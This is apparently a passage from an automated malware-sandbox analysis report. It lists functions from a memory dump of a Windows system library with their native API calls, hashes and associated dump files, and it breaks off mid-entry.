Instruction Fuzzy Hash: 9531B17664850CAFEB21CE48C9C0B5A73ADEF84759F36802AED149B201DF31DD41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6A916730, Relevance: 6.1, APIs: 4, Instructions: 92timeCOMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105 ref: 6A91674F
RtlGetCurrentServiceSessionId.1105(00000001), ref: 6A91677C
RtlDebugPrintTimes.1105(?,?,?,?,00000001), ref: 6A9167B1
RtlGetCurrentServiceSessionId.1105 ref: 6A9167B9

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$DebugPrintTimes
String ID:
API String ID: 286911700-0
Opcode ID: 45981dc2baeeda8c86ae935d4a43941502b72668ae6d5edcb3509dccaaa4d021
Instruction ID: 794becc87a428ec72af106e58a5b834d27584971093f2c32c915b29fceec425a
Opcode Fuzzy Hash: 45981dc2baeeda8c86ae935d4a43941502b72668ae6d5edcb3509dccaaa4d021
Instruction Fuzzy Hash: 2C31CF35A09A09BFDB169F24CA94A49BBF6FF45714F615015E81087A61DF30EC30CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6A941DB5, Relevance: 6.1, APIs: 4, Instructions: 87COMMON

Download Yara Rule

APIs

RtlQueryInformationActivationContext.1105(-40000003,?,00000000,00000006,00000000,00000000,00000000,00000000,?,?,?,00000040,-00000054,00000000), ref: 6A941DF7
RtlQueryInformationActivationContext.1105(-40000003,-00000054,00000000,00000006,00000000,00000000,00000000,-40000003,?,00000000,00000006,00000000,00000000,00000000,00000000,?), ref: 6A941E36

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ActivationContextInformationQuery
String ID:
API String ID: 2130846384-0
Opcode ID: 39ad629a20701d3ed16c14f322ca06b3d590f6998de82038df02d262996ece3b
Instruction ID: 37bd20a1deef1f354ac042b7a3128a49623e673c585eeafe73a2e485103da0d5
Opcode Fuzzy Hash: 39ad629a20701d3ed16c14f322ca06b3d590f6998de82038df02d262996ece3b
Instruction Fuzzy Hash: 8A218D75640528FFD710CF59C884EABBBBDEF86648F324055E9159B220DB30EE11DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A943B7A, Relevance: 6.1, APIs: 4, Instructions: 75memorynativeCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,?,?,?,7FFE03C0,7FFE03C0,?), ref: 6A943BB0
ZwQuerySystemInformationEx.1105(0000006B,00000001,00000004,00000000,?,?,?,?,?,?,7FFE03C0,7FFE03C0,?), ref: 6A943BCF
memset.1105(6A9843AB,00000000,?,0000006B,00000001,00000004,00000000,?,?,?,?,?,?,7FFE03C0,7FFE03C0,?), ref: 6A943BEA
RtlFreeHeap.1105(?,?,00000000,0000006B,00000001,00000004,00000000,?,?,?,?,?,?,7FFE03C0,7FFE03C0,?), ref: 6A943C30

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateFreeInformationQuerySystemmemset
String ID:
API String ID: 21860560-0
Opcode ID: f996e7c9f1b40d82efb01647eed34cee2110cdcd6522a3f6a439ea4d26d22afc
Instruction ID: af82acd00813e736d9eaf5079d11e8a3f3f4ae947d71235bae29d6ed7c212249
Opcode Fuzzy Hash: f996e7c9f1b40d82efb01647eed34cee2110cdcd6522a3f6a439ea4d26d22afc
Instruction Fuzzy Hash: 55218072A00518AFDB00CF68CD85B6AB7BDFB45708F264069E904EB252D772ED12DB94

Uniqueness

Uniqueness Score: -1.00%

Function 6A9418B9, Relevance: 6.1, APIs: 4, Instructions: 75nativetimeCOMMON

Download Yara Rule

APIs

ZwCreateTimer2.1105(00000058,00000000,00000000,00000008,00100002,00000040,00000000,00000000), ref: 6A9418E6
ZwCreateWaitCompletionPacket.1105(0000005C,00000001,00000000,00000058,00000000,00000000,00000008,00100002,00000040,00000000,00000000), ref: 6A9418F6
ZwAssociateWaitCompletionPacket.1105(?,00000000,00000058,00000060,?,00000000,?,?,0000005C,00000001,00000000,00000058,00000000,00000000,00000008,00100002), ref: 6A941926
ZwClose.1105(00000058,0000005C,00000001,00000000,00000058,00000000,00000000,00000008,00100002,00000040,00000000,00000000), ref: 6A985690

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CompletionCreatePacketWait$AssociateCloseTimer2
String ID:
API String ID: 56835937-0
Opcode ID: a8be5437c66fccd1ed6e436cf13162141824a4c2372f2a4f6805f9202b84fb24
Instruction ID: 530d1c4a959a784add52cd0d8036e32e02cc83b16be9a36f02033b3783002737
Opcode Fuzzy Hash: a8be5437c66fccd1ed6e436cf13162141824a4c2372f2a4f6805f9202b84fb24
Instruction Fuzzy Hash: C321A4B150020ABFDB00CF99C884E96BBB8FF59348F20846AE54497241DB71E926CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A9A6652, Relevance: 6.1, APIs: 4, Instructions: 74memorynativeCOMMON

Download Yara Rule

APIs

ZwClose.1105(00000000,00000000,00000000,00000000,?,?,6A98B381,00000001,6AA0861C,6A9F0268,00000020,6A92BE44,?,00000000,?,00000001), ref: 6A9A668C
RtlAllocateHeap.1105(?,00000008,?,00000000,00000000,00000000,?,?,6A98B381,00000001,6AA0861C,6A9F0268,00000020,6A92BE44,?,00000000), ref: 6A9A66D0

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateCloseHeap
String ID:
API String ID: 3565931908-0
Opcode ID: f47e566b4888a067f682920945fca014f013b705b10a308f3776eb0ec27d4de8
Instruction ID: 42813e53596b364364f557f42ebdd4f03416e028545eac6537c18ad51859d70a
Opcode Fuzzy Hash: f47e566b4888a067f682920945fca014f013b705b10a308f3776eb0ec27d4de8
Instruction Fuzzy Hash: 51216272610B11ABDA114E2C9845752B779FB1236CF230317EF3493691CF72E8A1C6E0

Uniqueness

Uniqueness Score: -1.00%

Function 6A914DC0, Relevance: 6.1, APIs: 4, Instructions: 73nativeCOMMON

Download Yara Rule

APIs

RtlWakeAddressAllNoFence.1105(00000000), ref: 6A914DE8
RtlRaiseStatus.1105(00000000,?,?,?,6A92EBD0,?,?,?,?,00000000,?,6A911E03,?,6A911D6E,?), ref: 6A914E04
ZwAlpcQueryInformation.1105(?,0000000B,FFFFFFFE,00000004,00000000,00000000,000000FF,?,?,00000000,?,?,?,6A92EBD0,?,?), ref: 6A970B73

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressAlpcFenceInformationQueryRaiseStatusWake
String ID:
API String ID: 3812654406-0
Opcode ID: 5d5570f8a10cb7a806a67cbbe6a9f52131e3c8302fa82ec5a631861a7e33764d
Instruction ID: 0952d309a35f50e098020c414814790ec247282759fb8970db78b6d298e65ab7
Opcode Fuzzy Hash: 5d5570f8a10cb7a806a67cbbe6a9f52131e3c8302fa82ec5a631861a7e33764d
Instruction Fuzzy Hash: 8011C4B1614308BFEB24DA358C85F9B73DCDF99618F22055AE92597280EFB0ED008A95

Uniqueness

Uniqueness Score: -1.00%

Function 6A9A8372, Relevance: 6.1, APIs: 4, Instructions: 72nativeCOMMON

Download Yara Rule

APIs

ZwClose.1105(00000000,?,00000000,00000000), ref: 6A9A839C
RtlStringFromGUIDEx.1105(?,?,00000001,?,00000000,00000000), ref: 6A9A83B9
ZwCreateKey.1105(?,?,00000018,00000000,00000000,00000000,00000001,?,?,00000001,?,00000000,00000000), ref: 6A9A83F5
RtlFreeUnicodeString.1105(?,?,?,00000018,00000000,00000000,00000000,00000001,?,?,00000001,?,00000000,00000000), ref: 6A9A8400

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: String$CloseCreateFreeFromUnicode
String ID:
API String ID: 4294597832-0
Opcode ID: f3ca10b0694f8c69625bf1e27c19eaadfc5a9923ecec863a5a59b3652895f085
Instruction ID: c34ead9f6673f28b6eb2763cb807dab42313c9f82d93a14f4c0d46fea3633b14
Opcode Fuzzy Hash: f3ca10b0694f8c69625bf1e27c19eaadfc5a9923ecec863a5a59b3652895f085
Instruction Fuzzy Hash: 7721EAB1D0121DAFDB04CFA5C8859EEBBF9EB14314F21816AE910E7241EF71DE058BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A953EE4, Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000008,00000028,?,?,6A978546), ref: 6A953F07
RtlGetLocaleFileMappingAddress.1105(00000000,6AA065D4,6A978546,?,00000008,00000028,?,?,6A978546), ref: 6A953F23

Part of subcall function 6A953FA0: ZwInitializeNlsFiles.1105(00000028,00000008,?,?,?,00000000,?,6A953F28,00000000,6AA065D4,6A978546,?,00000008,00000028,?), ref: 6A953FCD

RtlFreeHeap.1105(?,00000000,00000000,00000000,6AA065D4,6A978546,?,00000008,00000028,?,?,6A978546), ref: 6A98E7D3
RtlFreeHeap.1105(?,00000000,00000000,00000000,6AA065D4,6A978546,?,00000008,00000028,?,?,6A978546), ref: 6A98E7EB

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Free$AddressAllocateFileFilesInitializeLocaleMapping
String ID:
API String ID: 1831200515-0
Opcode ID: a2c62edf21ba9325d259f5062a2fc735d62f4787f50a7bcd419f15ed82336e88
Instruction ID: e3b5faea91966a038cb137904aeb331a43f02705f48d136e254b202457bc1aff
Opcode Fuzzy Hash: a2c62edf21ba9325d259f5062a2fc735d62f4787f50a7bcd419f15ed82336e88
Instruction Fuzzy Hash: 9321CF79601A10DFC724DF69C901B52B7F5FF18708F254869E819CB712EB30E852CB94

Uniqueness

Uniqueness Score: -1.00%

Function 6A91519E, Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6A9152A5: RtlEnterCriticalSection.1105(6AA079A0,?,?,00000000,?,?,?,6A9151B4,?,?,?), ref: 6A9152BF
Part of subcall function 6A9152A5: RtlLeaveCriticalSection.1105(6AA079A0,6AA079A0,?,?,00000000,?,?,?,6A9151B4,?,?,?), ref: 6A9152DD

RtlEqualUnicodeString.1105(?,?,00000001,?,?,?), ref: 6A970CCB
RtlLeaveCriticalSection.1105(6AA079A0,?,?,?), ref: 6A970CE4

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$Leave$EnterEqualStringUnicode
String ID:
API String ID: 4283003422-0
Opcode ID: d73dc2fbf39910a8caeefba1ca2012c48b1ec7fbd4fc165d43a74d89a805d3a7
Instruction ID: f65dde9c1fe8a64ac6d5ce76a9a4eb3abfe328741b192050364ef28adbe25188
Opcode Fuzzy Hash: d73dc2fbf39910a8caeefba1ca2012c48b1ec7fbd4fc165d43a74d89a805d3a7
Instruction Fuzzy Hash: 1B113635945204AFCB319F28C5D0AAABBF9EF15714F36012AE86697640DF32DC41C760

Uniqueness

Uniqueness Score: -1.00%

Function 6A943B5A, Relevance: 6.1, APIs: 4, Instructions: 51memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.1105(?,?,?,6A943AEC,?,?,00000000,?,?,?,?,?,00000000,?,?,00000120), ref: 6A986208
RtlFreeHeap.1105(?,?,?,6A943AEC,?,?,00000000,?,?,?,?,?,00000000,?,?,00000120), ref: 6A98622C
RtlFreeHeap.1105(?,?,?,6A943AEC,?,?,00000000,?,?,?,?,?,00000000,?,?,00000120), ref: 6A986250
RtlFreeHeap.1105(?,?,00000000,6A943AEC,?,?,00000000,?,?,?,?,?,00000000,?,?,00000120), ref: 6A98626D

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: cd605ff0912b4588a39e2308fa02e05d49674c83b01ba375c6ca7cd4c0438e5a
Instruction ID: fbfcb3322d47f5e209269c129e5bff7fac1c6a2db87cac3449cc640fe489f9ab
Opcode Fuzzy Hash: cd605ff0912b4588a39e2308fa02e05d49674c83b01ba375c6ca7cd4c0438e5a
Instruction Fuzzy Hash: 38110A76511554DFCF55DF58CA90F6AB3B9FB08604F2604ACE405EB752CB29EC01CB58

Uniqueness

Uniqueness Score: -1.00%

Function 6A91A745, Relevance: 6.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,?,00000000,?,6A94DFD8,00000000,?,?,?,?,?,6A913DAD,?,00000000,6A9EF4D0,00000084), ref: 6A91A757
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,?,6A94DFD8,00000000,?,?,?,?,?,6A913DAD,?,00000000,6A9EF4D0), ref: 6A91A774
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,?,6A94DFD8,00000000,?,?,?,?,?,6A913DAD,?,00000000,6A9EF4D0), ref: 6A97442E
RtlFreeHeap.1105(?,00000000,00000000,?,?,?,00000000,?,6A94DFD8,00000000,?,?,?,?,?,6A913DAD), ref: 6A97443F

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireFreeHeap
String ID:
API String ID: 2563869513-0
Opcode ID: fb3ab9e53c40b2ef8ebfdb5f2c6f791355929f84542337cc6ed2a373672ab8ba
Instruction ID: d3ef0ddce5500c888075a20de6d666aa3e52a6d7b0aabe094ebe39f30594d21b
Opcode Fuzzy Hash: fb3ab9e53c40b2ef8ebfdb5f2c6f791355929f84542337cc6ed2a373672ab8ba
Instruction Fuzzy Hash: 42018F721452119FD3609B6DDC84E15B7ECEB46328B2582AAE018CB652DE35DC42CBD4

Uniqueness

Uniqueness Score: -1.00%

Function 6A93E090, Relevance: 6.0, APIs: 4, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

RtlWow64EnableFsRedirectionEx.1105(6AA07B60,6AA07B60,6A93DFDF,?,00000000,6AA07B60,6A9EFE18,00000028), ref: 6A93E0A6
RtlEnterCriticalSection.1105(6AA07B60,6A93DFDF,?,00000000,6AA07B60,6A9EFE18,00000028), ref: 6A93E0B7
RtlLeaveCriticalSection.1105(6AA07B60,6AA07B60,6A93DFDF,?,00000000,6AA07B60,6A9EFE18,00000028), ref: 6A93E0DC
ZwSetEvent.1105(00000000,6AA07B60,6AA07B60,6A93DFDF,?,00000000,6AA07B60,6A9EFE18,00000028), ref: 6A93E0EF

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnableEnterEventLeaveRedirectionWow64
String ID:
API String ID: 355146318-0
Opcode ID: 9690953970070296d6d7c4ee74fbb777b6f847ef36563e7fd1f20d5f2222430e
Instruction ID: c042b335e5f9f0840552474c56f285ba1ab0dead6d14c947c879fee8587c4867
Opcode Fuzzy Hash: 9690953970070296d6d7c4ee74fbb777b6f847ef36563e7fd1f20d5f2222430e
Instruction Fuzzy Hash: F60136B0C09A689EFF11DA74C888BDE7AF9AB1731CF75405AE04162251CF35CD86C765

Uniqueness

Uniqueness Score: -1.00%

Function 6A9BEB8A, Relevance: 5.8, APIs: 2, Strings: 1, Instructions: 599timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.1105(?,?,?,?,?,6A9D2783,00000001,?,00000000,?,?,?,?,6A96FC15), ref: 6A9BEBB6
RtlGetCurrentServiceSessionId.1105(?,?,?,6A9D2783,00000001), ref: 6A9BF23E

Strings

@, xrefs: 6A9BF10A

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentDebugPrintServiceSessionTimes
String ID: @
API String ID: 358024996-2766056989
Opcode ID: 0a03e76757d0ba610733b6c9765977429c7d3828942f02e32f2d7f111f26b4ec
Instruction ID: 8e1aa23dc56ac115afaebbd9c0e52f35931c12e50c69758a8412a4f6f117710a
Opcode Fuzzy Hash: 0a03e76757d0ba610733b6c9765977429c7d3828942f02e32f2d7f111f26b4ec
Instruction Fuzzy Hash: CE3218786046659FD724CF29C080373B7F9FF46308F25849AE8A58F296DB35E856CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6A950E21, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,00000618,?,?), ref: 6A950EDA
RtlRaiseException.1105 ref: 6A98CC58

Strings

Flst, xrefs: 6A950E63

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateExceptionHeapRaise
String ID: Flst
API String ID: 3789339297-2374792617
Opcode ID: 2e5247cf50abe7c1fc1f7c8711266109097950c7994c5fe071d8e361f6a993ca
Instruction ID: 843b4253392a3f939b9d74c5717fef1f28271db61bb46ccd40c5f56b535c6fce
Opcode Fuzzy Hash: 2e5247cf50abe7c1fc1f7c8711266109097950c7994c5fe071d8e361f6a993ca
Instruction Fuzzy Hash: 484198B1605301DFC314CF19D581A16BBE4EF99B18F218A6EE469CB281DB31D845CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6A912240, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99memorytimeCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,00000034,?,?,?,?,?,?,?,?,?,6A9EF350,0000004C), ref: 6A9122AC
TpAllocTimer.1105(00000020,6A9E9440,00000000,00000003,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 6A91235A

Strings

(, xrefs: 6A912328

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocAllocateHeapTimer
String ID: (
API String ID: 2926205940-3887548279
Opcode ID: c6a3cb51aab34937e871e55f5d5fb36a2a871c7046667f4c75a6b50e070b41fc
Instruction ID: 0af5c46a215116e3e9286b070dd2a38ab3ae763b602460468f516aaef0512282
Opcode Fuzzy Hash: c6a3cb51aab34937e871e55f5d5fb36a2a871c7046667f4c75a6b50e070b41fc
Instruction Fuzzy Hash: D74125B0E1475DEFDB10CF98C48068DBBB8BF19B14F21426AE454A7641CBB4D952CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6A9166D4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46nativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,UBR,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6A9166F5
ZwQueryValueKey.1105(?,?,00000002,?,00000014,?,?,UBR,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6A91670B

Strings

UBR, xrefs: 6A9166EE

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitQueryStringUnicodeValue
String ID: UBR
API String ID: 3766860702-3525060630
Opcode ID: e27e14f74784ecc5b0688fa8a3833fc97012ed35e497becc4b8b21366d409166
Instruction ID: 11567ccbeb19db2ceb6d233564624614d4fc3008d5c420661102cac98aaf104e
Opcode Fuzzy Hash: e27e14f74784ecc5b0688fa8a3833fc97012ed35e497becc4b8b21366d409166
Instruction Fuzzy Hash: 87012C71A0520DAFDB10CA95C8459EFB3FCEB46714F614066E911E7100EB70EE55C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 6A9C8DF1, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

DbgPrintEx.1105(00000065,00000000,Critical error detected %lx,?,6A9F0D50,00000074,6A9D20A2,?,?,6A9CFFAF,00000001,00000020,6AA058C0,00000000), ref: 6A9C8E2A
RtlRaiseException.1105(?), ref: 6A9C8E74

Strings

Critical error detected %lx, xrefs: 6A9C8E21

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionPrintRaise
String ID: Critical error detected %lx
API String ID: 1813208005-802127002
Opcode ID: 7090482c6e166482f5965ea09b716cbf305aa3add8597d0424527180a9b9db3e
Instruction ID: 4a3fa50b77bdf6e9ce377402bac9af2b0a5bb2b588940688059e696c7a0c3dd2
Opcode Fuzzy Hash: 7090482c6e166482f5965ea09b716cbf305aa3add8597d0424527180a9b9db3e
Instruction Fuzzy Hash: 84117971C05748EADB29CFA8850579CBBF4AF04314F30825ED1296B382DB348602CF16

Uniqueness

Uniqueness Score: -1.00%

Function 6A9DE2C5, Relevance: 4.7, APIs: 3, Instructions: 202COMMON

Download Yara Rule

APIs

_aullshr.1105(-00000044,?,?,00000000,00000000,?,00000001,00000000,00000000,00000000,?,?,6A9D2783,00000001), ref: 6A9DE325
RtlAcquireSRWLockShared.1105(0000000C,-00000044,?,?,00000000,00000000,?,00000001,00000000,00000000), ref: 6A9DE45E
RtlReleaseSRWLockShared.1105(0000000C,0000000C,-00000044,?,?,00000000,00000000,?,00000001,00000000,00000000), ref: 6A9DE48D

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: LockShared$AcquireRelease_aullshr
String ID:
API String ID: 815091738-0
Opcode ID: 03a096029b50bb06b4a94c35d4713b45224bbc3d786eb5fd0a0f374bc5d0e47f
Instruction ID: ff4110c70bbf560f02efed9c7b0d1f8e112a1748804c13cdb2bb86a004e09482
Opcode Fuzzy Hash: 03a096029b50bb06b4a94c35d4713b45224bbc3d786eb5fd0a0f374bc5d0e47f
Instruction Fuzzy Hash: 1361A571A0091A9F8B14DFADC4805ADF7F6FB8A324725836AD425E73D0DB34D982CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A94E730, Relevance: 4.6, APIs: 3, Instructions: 89memorynativeCOMMON

Download Yara Rule

APIs

ZwQueryInformationProcess.1105(000000FF,00000024,FFFFFFFE,00000004,00000000,?,?,6A9AFF7D,6A9F09B0,00000014,6A92EBD8,?,?,?,00000000), ref: 6A94E742
RtlRaiseStatus.1105(00000000,000000FF,00000024,FFFFFFFE,00000004,00000000,?,?,6A9AFF7D,6A9F09B0,00000014,6A92EBD8,?,?,?,00000000), ref: 6A94E765
RtlAllocateHeap.1105(?,?,?,?,FFFFFFFE,?,?,00000000,000000FF,00000024,FFFFFFFE,00000004,00000000,?,?,6A9AFF7D), ref: 6A94E7A3

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeapInformationProcessQueryRaiseStatus
String ID:
